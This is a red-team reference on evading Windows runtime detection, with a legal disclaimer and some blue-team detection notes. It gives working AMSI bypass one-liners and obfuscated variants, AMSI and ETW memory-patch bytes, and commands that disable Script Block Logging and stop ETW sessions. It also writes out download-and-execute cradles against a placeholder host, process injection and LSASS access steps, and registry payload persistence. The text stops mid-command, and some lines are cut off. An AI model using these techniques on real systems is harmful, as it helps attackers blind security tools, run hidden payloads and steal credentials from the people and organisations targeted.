```
================================================================================
     RUNTIME DETECTION EVASION - COMPLETE RED TEAM NOTES
            Basic to Advanced | Commands Included
================================================================================
```

LEGAL NOTICE: For authorized red team exercises, penetration tests, CTFs, and lab practice ONLY. Always get written permission. Unauthorized access is a crime in most jurisdictions.

TABLE OF CONTENTS:

1. Foundations: Runtime Detection Architecture
2. The Detection Pipeline: What Catches You at Runtime
3. MITRE ATT&CK: Defense Evasion & Execution Map
4. AMSI (Anti-Malware Scan Interface) - Deep Dive & Bypass
5. ETW (Event Tracing for Windows) - Deep Dive & Evasion
6. PowerShell Runtime Evasion
7. .NET Runtime Evasion
8. Process Injection (T1055) - Full Taxonomy
9. In-Memory / Fileless Execution
10. Unhooking & Direct Syscalls
11. Payload Obfuscation & Evasion
12. AV/EDR Disabling & Tampering
13. BYOVD (Bring Your Own Vulnerable Driver)
14. Linux Runtime Evasion
15. EDR Detection Techniques (Blue Team View)
16. Mitigations & EDR Countermeasures
17. Tools Reference
18. Lab Practice & Resources
19. Quick Cheat Sheet


```
================================================================================
```

1. FOUNDATIONS: RUNTIME DETECTION ARCHITECTURE

```
================================================================================
```

Runtime detection = security software that watches BEHAVIOR while code executes (as opposed to static scanning of files on disk).

Unlike log evasion (clearing event logs after the fact), runtime evasion must happen WHILE your code is running, before detection fires.

1.1 RUNTIME DETECTION COMPONENTS

---

1. USERLAND HOOKS
   EDR injects hooks (JMP instructions) into:
   - ntdll.dll (Nt* syscalls)
   - kernel32.dll / kernelbase.dll
   - win32u.dll (GUI syscalls)
   When your code calls these, EDR's userland agent sees the call first (via detour), analyzes it, then forwards to real function.

2. KERNEL CALLBACKS (bypass userland hooks)
   - PsSetCreateProcessNotifyRoutineEx (process create/terminate)
   - PsSetCreateThreadNotifyRoutine   (thread create)
   - PsSetLoadImageNotifyRoutine   (DLL/driver load)
   - ObRegisterCallbacks   (handle open - protects lsass)
   - CmRegisterCallbackEx   (registry operations)
   - Minifilter drivers   (file I/O, IRP_MJ_*)
   - WFP (Windows Filtering Platform)   (network)
   Kernel callbacks fire regardless of userland hook state.

```
  3. AMSI (Anti-Malware Scan Interface)
     Scans script content (PowerShell, JScript, VBScript, Office macros,
     COM objects) BEFORE execution. Content-based detection.

  4. ETW (Event Tracing for Windows)
     Microsoft's logging framework. EDRs subscribe to ETW providers:
       - Microsoft-Windows-Threat-Intelligence (TI)
       - Microsoft-Windows-Windows Defender
       - Microsoft-Antimalware-Scan-Interface
     ETW kernel sessions can capture process, thread, image, registry,
     network events with minimal overhead.

  5. CLR / .NET INSTRUMENTATION
     For .NET payloads: Profiling API (ICorProfiler), assembly load
     callbacks, IL rewriting, method hooking.

  6. CLOUD ML / BEHAVIOR ANALYTICS
     Sequence-based detection: chain of innocent events = malicious
     behavior. Sent to cloud, analyzed with ML models.

--------------------------------------------------------------------------------
1.2 WHERE DETECTION FIRES (kill chain view)
--------------------------------------------------------------------------------

  1. File drop         -> Static AV scan, FIM, Sysmon 11
  2. Process start     -> AV scan, command-line logging (Sysmon 1)
  3. Script load       -> AMSI scan, PS Script Block Logging
  4. API call (alloc)  -> ETW TI, EDR hook on VirtualAlloc
  5. API call (write)  -> ETW TI, EDR hook on WriteProcessMemory
  6. Remote thread     -> Kernel callback (CreateRemoteThread), Sysmon 8
  7. Network connect   -> EDR hook, Sysmon 3, WFP
  8. Credential access -> ObRegisterCallbacks (lsass), Sysmon 10
  9. Privilege change  -> Token monitoring, Sysmon 4672/4688
  10. Persistence      -> Registry monitoring, Sysmon 13, autoruns

YOUR GOAL: Make each of these 10 steps appear benign to the sensor,
OR never trigger the sensor at all.

--------------------------------------------------------------------------------
1.3 EVASION STRATEGY LAYERS
--------------------------------------------------------------------------------

  Layer 1: STATIC Evasion (file on disk)
    - Obfuscation, packing, encryption
    - Avoid AV signatures on the raw file
    - AMSI-safe strings, EDR YARA rules

  Layer 2: DYNAMIC Evasion (behavior at runtime)
    - AMSI bypass (scanning of script content)
    - ETW patching (telemetry pipeline)
    - Unhooking (userland hook removal)
    - Syscall indirection (bypass userland hooks)

  Layer 3: EXECUTION Evasion (technique choice)
    - Process injection variants
    - LOLBins / signed binary execution
    - Module stomping / reflective loading
    - Fileless / registry-based payloads

  Layer 4: OPSEC Evasion (post-compromise)
    - Low-and-slow timing
    - Blend with admin activity
    - Clean artifacts
    - Encrypted C2
```

2. THE DETECTION PIPELINE: WHAT CATCHES YOU AT RUNTIME

2.1 STATIC AV DETECTION

How it works:
- Signature matching (byte patterns, strings, YARA)
- Heuristics (entropy, API import patterns, PE structure)
- ML models on file features
- Cloud reputation (hash lookup)
- Packer / crypter detection
- Unpacks and rescans in sandbox

What it catches:
- Known malware hashes / signatures
- Suspicious PE headers (odd section names, RWX, missing imports)
- High-entropy (packed/encrypted) sections
- Known malicious strings ("mimikatz", "Invoke-Mimikatz")
- AMSI-triggering strings (see section 4)

Evasion:
- Encrypt/pack payload, decrypt in memory
- Change hashes (trivial)
- Avoid suspicious imports (dynamic API resolution)
- Fileless (never write to disk)

2.2 EDR DYNAMIC DETECTION

How it works:
- Userland hooks (see 1.1)
- Kernel callbacks + minifilters
- Behavioral rules (chains)
- Memory scanning (YARA on process memory)
- Network inspection (TLS breakpoints, JA3)
- Cloud ML on behavior sequences

What it catches:
- VirtualAlloc(RWX) + WriteProcessMemory + CreateRemoteThread chain
- LSASS handle access (OpenProcess on lsass)
- AMSI bypass attempts (signature + behavior)
- ETW patching (memory write to ntdll)
- Unhooking (VirtualProtect on ntdll)
- Reflective DLL loading
- Syscall anomalies

Evasion:
- Use less-signatured injection variants
- Direct/indirect syscalls (bypass userland hooks)
- Module stomping (load legit DLL, overwrite)
- Sleep obfuscation (encrypted sleep)
- PPID spoofing (parent process mismatch)

2.3 AMSI DETECTION

How it works:
- Content handed to provider (Defender, 3rd party AV)
- Provider scans for known malicious script patterns
- Returns AMSI_RESULT_DETECTED -> script blocked

What it catches:
  - Known AMSI bypass signatures
  - Mimikatz, PowerUp, Seatbelt, etc. (signature matches)
  - Obfuscated-but-known patterns
  - Base64-encoded known payloads

Evasion:
  - AMSI bypass (see section 4)
  - String obfuscation (breaks signatures)
  - Custom tooling (not signatured)
  - Avoid PowerShell entirely (use C# / native)

2.4 ETW DETECTION

How it works:
  - ETW providers emit events to SIEM / EDR backend
  - Kernel ETW session captures process/thread/registry/network
  - Threat-Intelligence (TI) provider monitors suspicious API calls

What it catches:
  - Suspicious process creation (cmd -> powershell, powershell -> lsass)
  - Cross-process memory operations
  - LSASS access
  - Suspicious registry writes (Run keys, services)
  - Network connections to C2

Evasion:
  - Patch EtwEventWrite / EtwEventWriteTransfer (see section 5)
  - Reduce telemetry by disabling providers (needs admin)
  - Use API paths that don't generate ETW events (rare)

==========
3. MITRE ATT&CK: DEFENSE EVASION & EXECUTION MAP
==========

TA0002 Execution:
  T1059 Command and Scripting Interpreter
    T1059.001 PowerShell
    T1059.003 Windows Command Shell
    T1059.005 Visual Basic
    T1059.006 Python
    T1059.007 JavaScript / JScript
  T1204 User Execution
  T1053 Scheduled Task/Job
  T1569 System Services

TA0005 Defense Evasion:
  T1055 Process Injection (see section 8)
    T1055.001 DLL Injection
    T1055.002 PE Injection
    T1055.003 Thread Execution Hijacking
    T1055.004 Asynchronous Procedure Call
    T1055.012 Process Hollowing
    T1055.015 ListPlanting
  T1027 Obfuscated Files or Information
    T1027.010 Command Obfuscation
  T1036 Masquerading
  T1140 Deobfuscate/Decode
  T1562 Impair Defenses
    T1562.001 Disable or Modify Tools
    T1562.002 Disable Windows Event Logging
    T1562.004 Disable or Modify System Firewall

```
  T1564  Hide Artifacts
    T1564.001  Hidden Files and Directories
    T1564.003  Hidden Window
    T1564.004  NTFS File Attributes
  T1014  Rootkit
  T1218  System Binary Proxy Execution (LOLBins)
  T1218.004  rundll32
  T1218.009  regsvr32
  T1218.014  mshta

TA0004 Privilege Escalation:
  T1055  Process Injection (same as above)
  T1134  Access Token Manipulation
    T1134.001  Token Impersonation/Theft
    T1134.002  Create Process with Token

TA0006 Credential Access:
  T1003  OS Credential Dumping
    T1003.001  LSASS Memory
    T1003.002  Securityd Memory (Linux)
    T1003.003  NTDS
    T1003.004  LSA Secrets
    T1003.005  Cached Domain Credentials

TA0007 Lateral Movement:
  T1021  Remote Services (SMB, WinRM, RDP)
  T1550  Use Alternate Authentication Material

Browse: https://attack.mitre.org/tactics/TA0005/
```

4. AMSI (ANTI-MALWARE SCAN INTERFACE) - DEEP DIVE & BYPASS

4.1 HOW AMSI WORKS

```
Flow when PowerShell executes a script:
  1. PS reads script text
  2. Calls AmsiInitialize("PowerShell")
  3. Calls AmsiOpenSession() -> session handle
  4. Calls AmsiScanBuffer(session, buffer, length, contentname, appname)
  5. AmsiScanBuffer hands buffer to AV provider (Defender, etc.)
  6. Provider returns result:
       AMSI_RESULT_CLEAN (0)
       AMSI_RESULT_NOT_DETECTED (1)
       AMSI_RESULT_BLOCKED_BY_ADMIN_START (0x4000)
       AMSI_RESULT_BLOCKED_BY_ADMIN_END (0x4fff)
       AMSI_RESULT_DETECTED (32768)
  7. If DETECTED -> PowerShell aborts execution, writes event

AMSI scans:
  - PowerShell script blocks (before execution, not after)
  - JScript / VBScript (cscript/wscript)
  - Office macros (VBA)
  - COM objects (via IInitializeWithStream)
  - Windows Script Host

AMSI providers registered:
  C:\Program Files\Windows Defender\MpOav.dll (Defender)
  Various 3rd party AV (CrowdStrike, Sophos, etc.)
```

4.2 AMSI BYPASS TECHNIQUES

```
--------------------------------------------------------------------------------

TECHNIQUE 1: SET amsiInitFailed (Classic Reflection Bypass)

Concept: AMSI initializes lazily. Before first scan, set internal
boolean amsiInitFailed = true, so AmsiScanBuffer returns error and
PowerShell skips scanning.

PowerShell one-liner (classic - widely known):
  [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
    GetField('amsiInitFailed','NonPublic,Static').
    SetValue($null,$true)

Obfuscated variants:
  # String splitting
  $a='System.Management.Automation.Am';$b='siUtils'
  [Ref].Assembly.GetType($a+$b).GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

  # Reflection to avoid direct string
  $t=[Ref].Assembly.GetTypes()|?{$_.Name -like '*Amsi*'}
  $f=$t.GetFields('NonPublic,Static')|?{$_.Name -like '*failed*'}
  $f.SetValue($null,$true)

  # Using GetMethod/GetField with string construction
  $n='amsi'+'Init'+'Failed'

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField($n,'NonPublic,Static').SetVa
lue($

TECHNIQUE 2: PATCH AmsiScanBuffer IN MEMORY

Concept: Overwrite the AmsiScanBuffer function (in amsi.dll) with:
  mov eax, 0x80070057  ; E_INVALIDARG
  ret

This makes every scan return error -> treated as "not detected".

PowerShell (educational - real EDRs detect this):
  # Get AmsiScanBuffer address
  $addr = (Get-Process -Id $PID).Modules |
    ?{$_.ModuleName -eq 'amsi.dll'} |
    Select -Exp BaseAddress
  # Add offset of AmsiScanBuffer (varies by Windows version)
  # Write bytes: B8 57 00 07 80 C3
  # Requires VirtualProtect to RWX, then write, then restore

Tools that do this automatically:
  - Cobalt Strike (malleable C2 amsi bypass)
  - Various GitHub repos (AmsiBypass, SharpAMSI)
  - Rubeus (contains bypass for Kerberos operations)
  - Covenant / Mythic / Sliver C2 frameworks

TECHNIQUE 3: AMSI BYPASS VIA DUPLICATE / FORGED HANDLES

  - Open handle to current process, get token
  - Modify in-memory AMSI state via WriteProcessMemory to self
  - (Variation of technique 2)

TECHNIQUE 4: AMSI CONTENT EVASION (avoid signature match)

  - Change variable names, add whitespace, reorder statements
  - Base64 encode strings, decode at runtime
  - Split known malicious strings across concatenation
  - Use alternative APIs / cmdlets for same behavior
  - Invoke-Obfuscation automates this
```

TECHNIQUE 5: AVOID AMSI ENTIRELY

  - Execute from C# / native code (no AMSI)
  - Use cmd.exe / wscript (limited AMSI coverage)
  - Use mshta / regsvr32 / other LOLBins
  - Direct syscall shellcode (no PS involvement)

4.3 AMSI BYPASS DETECTION (BLUE TEAM)

  - Signature: known bypass patterns (amsiInitFailed, specific byte patches)
  - Behavioral: VirtualProtect on amsi.dll memory
  - ETW TI: reports AMSI bypass attempts in real-time
  - Memory: scan for patched AmsiScanBuffer bytes
  - Hook: AmsiScanBuffer hook detects caller tampering
  - CLR: AMSI bypass is visible via .NET instrumentation
  - Heuristic: GetField on NonPublic/Static fields of AmsiUtils class

Modern EDRs: multiple layers make classic bypasses fail often.
Custom, obfuscated, novel bypasses work better (but still risky).

4.4 TOOLS FOR AMSI TESTING

  AMSITrigger (find AMSI-triggering strings):
    https://github.com/Rmafo9/AMSITrigger
    AMSITrigger.exe -f malicious.ps1
    # Identifies which substrings cause AMSI detection

  Invoke-Obfuscation:
    https://github.com/danielbohannon/Invoke-Obfuscation
    Import-Module Invoke-Obfuscation
    Set-ObfuscationSection PATH C:\payload.ps1
    TOKEN\ALL\1
    OUT C:\obfuscated.ps1

  PowerSploit AMSI bypass (educational archive):
    Out-EncryptedScript (encrypt scripts, decrypt in memory)

==========

5. ETW (EVENT TRACING FOR WINDOWS) - DEEP DIVE & EVASION

==========

5.1 HOW ETW WORKS

Components:
  1. Providers (emit events): kernel, user apps, EDR agents
  2. Controllers (start/stop sessions): logman, wevtutil, EDR agents
  3. Consumers (receive events): SIEM, EDR backend, Event Viewer

Key ETW providers for evasion:
  - Microsoft-Windows-Threat-Intelligence (TI)
    Reports: process injection, LSASS access, AMSI bypass, ETW patching
  - Microsoft-Windows-Windows Defender
    AV/AMSI activity
  - Microsoft-Antimalware-Scan-Interface
    AMSI scan results
  - Microsoft-Windows-Kernel-Process
    Process/thread/image events
  - Microsoft-Windows-DNS-Client
    DNS queries

```
ETW API functions to be aware of:
  EtwEventRegister        (register provider)
  EtwEventWrite          (write event - MAIN PATCH TARGET)
  EtwEventWriteTransfer  (write with activity ID)
  EtwEventWriteEx        (extended write)
  EtwEventWriteFull      (full write)
  EtwEventWriteString    (string write)
  EtwEventWriteNoRegistration (no registration write)

ETW is used heavily by:
  - Windows Defender
  - Sysmon (partially)
  - CrowdStrike / SentinelOne / MDE (userland + kernel ETW)
  - PowerShell Script Block Logging (ETW-based)

--------------------------------------------------------------------------------
5.2 ETW PATCHING TECHNIQUES
--------------------------------------------------------------------------------

TECHNIQUE 1: PATCH EtwEventWrite IN MEMORY

Concept: Overwrite EtwEventWrite (in ntdll.dll) with:
  xor eax, eax  ; return 0
  ret

Result: All userland ETW writes silently fail. Kernel ETW still works.

PowerShell (educational):
  # Get address of EtwEventWrite in ntdll
  # Use VirtualProtect to make RWX
  # Write: 33 C0 C3 (xor eax,eax; ret) or just C3 (ret)
  # Restore protection

Real implementations:
  - ETWp / EtwEventWrite patchers (GitHub)
  - Cobalt Strike + various C2 frameworks
  - SharpETW, ETWPatcher tools

TECHNIQUE 2: PATCH EtwEventWriteTransfer

Some EDRs use EtwEventWriteTransfer instead. Patch both:
  xor eax, eax
  ret

TECHNIQUE 3: UNREGISTER ETW PROVIDER

  # From admin context, stop ETW session:
  logman query -ets
  logman stop "EventLog-Security" -ets
  logman delete "SomeProvider" -ets

TECHNIQUE 4: KERNEL ETW PATCHING (advanced, dangerous)

  - Requires kernel driver or exploit
  - Patch EtwpGetCycleCount / internal ETW functions
  - PatchGuard (PG) detects kernel ETW tampering -> BSOD
  - Out of scope for most labs

TECHNIQUE 5: REDUCE ETW NOISE (OPSEC)

  - Disable unnecessary ETW providers (if admin)
  - Use API calls that don't generate ETW TI events
  - Sleep between suspicious calls (avoid behavior chains)
  - Use alternate execution paths

--------------------------------------------------------------------------------
```

```
5.3 ETW EVASION DETECTION
--------------------------------------------------------------------------------

  - Memory: EDR checks EtwEventWrite bytes periodically
  - Hook: EtwEventWrite hook detects patching
  - ETW TI: detects ETW patching itself (meta-detection)
  - Behavioral: sudden drop in event volume from a process
  - Kernel: ETW kernel session still fires even if userland patched
  - Code integrity: HVCI / CI.dll validates ntdll integrity

Modern EDRs: kernel ETW + userland hooks + cloud = patching userland
ETW alone is often insufficient.

--------------------------------------------------------------------------------
5.4 ETW COMMANDS FOR LABS
--------------------------------------------------------------------------------

  # List ETW sessions
  logman query -ets
  logman query providers

  # Stop/start sessions
  logman stop "Name" -ets
  logman start "Name" -ets

  # Enable provider via logman
    logman create trace MyTrace -p "Microsoft-Windows-Threat-Intelligence" 0xffffffff 0xff -o
C:\trace.etl

  # Convert ETL to readable
  tracerpt C:\trace.etl -o C:\trace.csv -of CSV

  # PowerShell ETW utilities
  Get-EtwTraceSession
  Stop-EtwTraceSession -Name "Name"

================================================================================
6. POWERSHELL RUNTIME EVASION
================================================================================

--------------------------------------------------------------------------------
6.1 POWERSHELL DETECTION STACK
--------------------------------------------------------------------------------

  - AMSI (content scan)
  - Script Block Logging (4104 - full deobfuscated code)
  - Module Logging (4103)
  - Transcription (records all input/output to files)
  - Constrained Language Mode (CLM - limits dangerous APIs)
  - CLM + AppLocker / WDAC (restricts PS execution)
  - EDR: PS-specific telemetry (cmdlets, .NET calls, download cradles)
  - PowerShell v2 (legacy, bypasses AMSI + many EDR features)

--------------------------------------------------------------------------------
6.2 EVASION TECHNIQUES
--------------------------------------------------------------------------------

TECHNIQUE 1: AMSI BYPASS FIRST (see section 4)
  Must bypass before running malicious PS code.

TECHNIQUE 2: STRING OBFUSCATION

  # Base64 encoding
  $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("IEX ..."))
  powershell -enc $enc
```

```
  # Character array
  -join([char[]](73,69,88,32,40,...))  # IEX ...

  # -replace / format operator
  $x = '{0}{1}' -f 'Invoke-','Expression'

  # Split / concatenation
  $a='Inv';$b='oke-Exp';$c='ression';& ($a+$b+$c) (...)

  # FromBase64 at runtime
  iex ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b64)))

TECHNIQUE 3: SCRIPT BLOCK LOGGING EVASION

  # Disable Script Block Logging (needs admin, may be GPO-locked):
  reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /f

  # CLM bypass (if AppLocker/WDAC forces CLM):
  # Various techniques exist - complex, version-dependent
  # PowerShell v2 bypasses CLM:
  powershell -version 2 -command "..."

  # Alternative: use PowerShell v2 (no AMSI, no 4104):
  powershell.exe -version 2 -command "IEX ..."

TECHNIQUE 4: DOWNLOAD CRADLE OBFUSCATION

  # Original (signatured):
  IEX (New-Object Net.WebClient).DownloadString('http://x/p.ps1')

  # Obfuscated:
  $wc=New-Object Net.WebClient;$wc.DownloadString('http://x')|iex
  # Or:
  iex (iwr http://x -UseBasicParsing).Content
  # Or with base64:
  powershell -nop -w hidden -enc <base64>

TECHNIQUE 5: IN-MEMORY .NET EXECUTION (bypass PS analysis)

  # Load .NET assembly in memory, call method:
  [Reflection.Assembly]::Load([Convert]::FromBase64String($b64)).EntryPoint.Invoke($null,$null)
  # or
  $asm = [Reflection.Assembly]::Load($bytes)
  [Type]::GetType("Namespace.Class,AssemblyName").GetMethod("Main").Invoke($null,@())

TECHNIQUE 6: USE ALTERNATIVE INTERPRETERS

  # CScript / WScript (VBScript, JScript):
  cscript //nologo payload.vbs
  wscript payload.vbs

  # HTA via mshta:
  mshta http://x/payload.hta

  # Rundll32 JavaScript:
  rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert(1)

TECHNIQUE 7: POWERSHELL WITHOUT POWERSHELL.EXE

  # Execute PS via:
  - System.Management.Automation.dll (direct .NET reference)
  - InstallUtil / MSBuild (embedded C# with PS)
  - Cobalt Strike / C2 framework's in-memory PS host
  - Custom C# PS host application

TECHNIQUE 8: ENCRYPTED SCRIPTS

  # Encrypt entire PS script, decrypt at runtime:
```

```
  $enc = ConvertTo-SecureString -String (Get-Content malicious.ps1 -Raw) -Key (1..32)
  # At runtime:
  iex (New-Object PSObject -Property @{s=$enc}).GetNetworkCredential().Password
  # Or use Out-EncryptedScript from PowerSploit

--------------------------------------------------------------------------------
6.3 POWERSHELL EVASION TOOLS
--------------------------------------------------------------------------------

  Invoke-Obfuscation:
    Command obfuscation, string manipulation, AST-based obfuscation

  PowerShell Obfuscator (various GitHub):
    AST-based obfuscation, rename variables, reorder

  Chameleon / other obfuscators:
    https://github.com/klezVirus/chameleon

  PSWar / similar:
    Generates AMSI-safe variants

  Cobalt Strike malleable C2:
    Built-in PS obfuscation in profiles

================================================================================
7. .NET RUNTIME EVASION
================================================================================

--------------------------------------------------------------------------------
7.1 .NET DETECTION
--------------------------------------------------------------------------------

  - AMSI (for embedded scripts)
  - CLR Profiling API (ICorProfiler) - hooks all .NET methods
  - ETW CLR provider (Microsoft-Windows-DotNETRuntime)
  - Assembly load monitoring
  - Reflection detection (suspicious GetMethod / Invoke patterns)
  - Memory scanning for .NET assemblies
  - YARA rules on .NET metadata

--------------------------------------------------------------------------------
7.2 .NET EVASION TECHNIQUE
--------------------------------------------------------------------------------

TECHNIQUE 1: ASSEMBLY ENCRYPTION

  # Encrypt entire .NET assembly, decrypt + load at runtime:
  C# example:
    byte[] enc = File.ReadAllBytes("encrypted.bin");
    byte[] dec = AESDecrypt(enc, key);
    Assembly asm = Assembly.Load(dec);
    asm.EntryPoint.Invoke(null, null);
  # encrypted.bin never AV-scanned as PE/assembly

TECHNIQUE 2: REFLECTIVE LOADING

  # Load assembly from byte[] (not from file):
    Assembly.Load(byteArray)
  # No disk artifact, no MFT entry, no prefetch

TECHNIQUE 3: .NET OBFUSCATION

  # Tools:
  # - ConfuserEx (obfuscate .NET assemblies)
  # - Obfuscar
  # - .NET Reactor
```

```
  # - Eazfuscator.NET
  # These rename symbols, control flow obfuscate, encrypt strings

TECHNIQUE 4: NATIVE HOST

  # Compile C# to native (via CoreRT / NativeAOT)
  # Or use C++/CLI to mix native + managed
  # Or use Donut / similar to convert .NET to shellcode

TECHNIQUE 5: INLINE C# (via MSBuild / InstallUtil)

  # MSBuild inline task (no separate .exe):
  # XML project file with C# task code
  msbuild.exe payload.xml

  # InstallUtil:
  # .NET assembly with [Installer] attribute
  InstallUtil.exe /logfile= /LogToConsole=false payload.exe

TECHNIQUE 6: COR_PROFILER HIJACK (advanced)

  # Set CorProfiler environment variable to load your DLL:
  # COR_ENABLE_PROFILING=1
  # COR_PROFILER={CLSID}
  # CLR launches your DLL as profiler - native code execution in CLR

--------------------------------------------------------------------------------
7.3 .NET EVASION TOOLS
--------------------------------------------------------------------------------

  Donut (convert .NET to shellcode):
    https://github.com/TheWover/donut
    donut -f payload.exe -o payload.bin
    # Generates position-independent shellcode from .NET assembly

  sRDI (shellcode Reflective DLL Injection):
    https://github.com/stephenfewer/ReflectiveDLLInjection
    Convert DLL to reflective shellcode

  SharpSploit / GhostPack:
    .NET offensive tools with obfuscation

  Covenant / Mythic:
    .NET C2 agents with evasion options

================================================================================
8. PROCESS INJECTION (T1055) - FULL TAXONOMY
================================================================================

--------------------------------------------------------------------------------
8.1 WHY INJECT?
--------------------------------------------------------------------------------

  - Hide malicious code inside legitimate process memory
  - Bypass application whitelisting (code runs inside allowed process)
  - Escape from suspicious parent process (cmd.exe, powershell.exe)
  - Steal tokens / privileges of target process
  - Bypass file-based detection (no new .exe on disk)
  - Access protected process memory (if privileges allow)

--------------------------------------------------------------------------------
8.2 CLASSIC DLL INJECTION (T1055.001) - MOST DETECTED
--------------------------------------------------------------------------------

Steps (detected by EDR):
  1. OpenProcess(PROCESS_ALL_ACCESS) on target
  2. VirtualAllocEx(target, size, MEM_COMMIT, PAGE_READWRITE)
```

```
  3. WriteProcessMemory(target, buffer, DLL path)
  4. CreateRemoteThread(target, LoadLibraryA, path)
  5. WaitForSingleObject

Detection:
  - Sysmon 8 (CreateRemoteThread)
  - Sysmon 10 (ProcessAccess - OpenProcess on target)
  - EDR hook on WriteProcessMemory / CreateRemoteThread
  - Kernel callback: ObRegisterCallbacks (handle filtering)
  - Behavioral: unsigned DLL loaded into signed process

Evasion:
  - Use alternate injection method (see below)
  - Module stomping (load legit DLL, overwrite)
  - Direct syscalls (bypass userland hooks on these APIs)
  - Inject into less-monitored process (not lsass, not csrss)

--------------------------------------------------------------------------------
8.3 PROCESS HOLLOWING (T1055.012)
--------------------------------------------------------------------------------

Steps:
  1. CreateProcess(suspended) - e.g., svchost.exe, explorer.exe
  2. NtUnmapViewOfSection(target, imageBase) - remove legit code
  3. VirtualAllocEx(target, imageBase, size, MEM_COMMIT, RWX)
  4. WriteProcessMemory(target, imageBase, maliciousPE, size)
  5. SetThreadContext(target, entryPoint) - redirect execution
  6. ResumeThread(target)

Variants:
  - Process Doppelgänging (NTFS transaction based)
  - Process Herpaderping (file modification after mapping)
  - Process Ghosting (delete file before execution)
  - Transacted Hollowing

Detection:
  - Sysmon 1 (process create) + Sysmon 8 (thread)
  - EDR: unmap + write + resume sequence
  - Memory: image on disk != memory (PE mismatch)
  - Kernel: NtUnmapViewOfSection call logging

Evasion:
  - Use alternate variants (Ghosting, Herpaderping)
  - Direct syscalls for unmap/write/resume
  - Sleep between steps (break behavior chain)
  - Hollow less-monitored process

--------------------------------------------------------------------------------
8.4 ASYNCHRONOUS PROCEDURE CALL (T1055.004)
--------------------------------------------------------------------------------

Concept: Queue user APC (Asynchronous Procedure Call) to target thread,
which executes when thread enters alertable wait state.

Steps:
  1. OpenProcess + VirtualAllocEx + WriteProcessMemory (classic)
  2. QueueUserAPC(targetThread, shellcode) instead of CreateRemoteThread
  3. Trigger alertable state (e.g., NtTestAlert, or wait for natural state)

Advantages:
  - Less signature than CreateRemoteThread
  - Runs in existing thread context

Detection:
  - Sysmon 8 (if thread create detected)
```

- EDR: QueueUserAPC hook, cross-process APC

8.5 THREAD HIJACKING (T1055.003)

Concept: Take over existing thread in target process, change its instruction pointer (RIP/EIP) to point to injected shellcode.

Steps:
1. OpenProcess + OpenThread on target
2. VirtualAllocEx + WriteProcessMemory (allocate + write shellcode)
3. SuspendThread(targetThread)
4. GetThreadContext(targetThread, context)
5. Save original RIP, set RIP = shellcode address
6. SetThreadContext + ResumeThread

Variants:
- Early Bird (inject before process starts, before entry point)
- Fiber-based (convert to fiber, switch context)
- Callback-based (SetWindowsHookEx, TimerAPC)

Detection:
- Sysmon 8, Sysmon 10
- EDR: Get/SetThreadContext hook, SuspendThread
- Behavioral: thread RIP changed to non-image memory

8.6 MODULE STOMPING (less detected)

Concept: Load legitimate DLL into target, then overwrite its memory with shellcode. The DLL exists in module list, appears legitimate.

Steps:
1. OpenProcess + VirtualAllocEx
2. WriteProcessMemory: write DLL path
3. CreateRemoteThread: call LoadLibraryA(dllPath)
4. Wait for DLL to load, find its base address
5. VirtualProtect: change DLL .text to RWX
6. WriteProcessMemory: overwrite DLL .text with shellcode
7. CreateRemoteThread: call shellcode at DLL address

Advantages:
- DLL appears in module list (Sysmon 7)
- Signed DLL path visible
- No new DLL file on disk

Detection:
- Sysmon 7 (module load) - but DLL is legit
- Memory: DLL .text != on-disk DLL .text
- EDR: WriteProcessMemory into loaded DLL

Evasion:
- Use lesser-known signed DLLs
- Partial overwrite (small shellcode stub)
- Direct syscalls for writes

8.7 MODULE HOLLOWING / PHANTOM DLL HOLLOWING

Similar to process hollowing but at DLL level:
1. Map DLL into memory (not loaded via LoadLibrary)
2. Unmap or overwrite its contents
3. Redirect execution to overwritten DLL

```
Variants:
  - Phantom DLL hollowing
  - Module stomping variant
  - IAT patching (replace import table entries)

--------------------------------------------------------------------------------
8.8 LSASS INJECTION / CREDENTIAL ACCESS
--------------------------------------------------------------------------------

Target: lsass.exe (Local Security Authority) - holds credentials in memory.

Injection into lsass (for credential dumping):
  1. OpenProcess(PROCESS_VM_READ|PROCESS_VM_WRITE, lsass)
  2. (ObRegisterCallbacks may block this)
  3. Inject payload that reads lsass memory
  4. Extract credential material (hashes, tickets)

Alternative: inject into own process, open lsass via handle duplication

Detection:
  - Sysmon 10 (ProcessAccess on lsass)
  - EDR: ObRegisterCallbacks blocks lsass access
  - ETW TI: LSASS access events
  - Behavioral: non-lsass process reading lsass memory

Evasion:
  - PPL (Protected Process Light) bypass (advanced)
  - Direct kernel object manipulation
  - Use legitimate tools (ProcDump) - noisy
  - Token stealing instead of credential dumping

--------------------------------------------------------------------------------
8.9 PROCESS INJECTION TOOLS
--------------------------------------------------------------------------------

  Metasploit:
    msfvenom -p windows/x64/meterpreter/reverse_tcp ...
    Use meterpreter migrate <pid>  (process migration)

  Cobalt Strike:
    inject <pid> <bof/assembly>
    shspawn <pid>  (spawn into specific process)

  Mythic / Sliver / Havoc:
    Various injection commands

  Custom C# / C++:
    P/Invoke injection implementations (educational GitHub repos)

  Sysinternals (defensive / analysis):
    ProcDump (dump lsass - for analysis, not offense)

  PPID Spoofing tools:
    Cobalt Strike: spawnf
    Custom C# CreateProcess with PPID spoofing

================================================================================
9. IN-MEMORY / FILELESS EXECUTION
================================================================================

--------------------------------------------------------------------------------
9.1 WHY FILELESS?
--------------------------------------------------------------------------------

  - No file on disk -> no static AV scan
  - No MFT entry, no prefetch, no AmCache
```

```
  - No file hash for threat intel
  - Memory-only artifacts (cleared on process exit)
  - Harder for forensics (memory dump required)

--------------------------------------------------------------------------------
9.2 TECHNIQUES
--------------------------------------------------------------------------------

TECHNIQUE 1: POWERSHELL IN-MEMORY

  # Download + execute in memory (no file write):
  IEX (New-Object Net.WebClient).DownloadString('http://x/p.ps1')

  # Load .NET assembly from bytes:
  $bytes = (New-Object Net.WebClient).DownloadData('http://x/payload.exe')
  [Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null,$null)

TECHNIQUE 2: REGISTRY STORAGE

  # Store encrypted payload in registry:
     reg  add  HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce  /v  Update  /t  REG_BINARY  /d
<encrypted_shellc

  # Or store as string, decode at runtime:
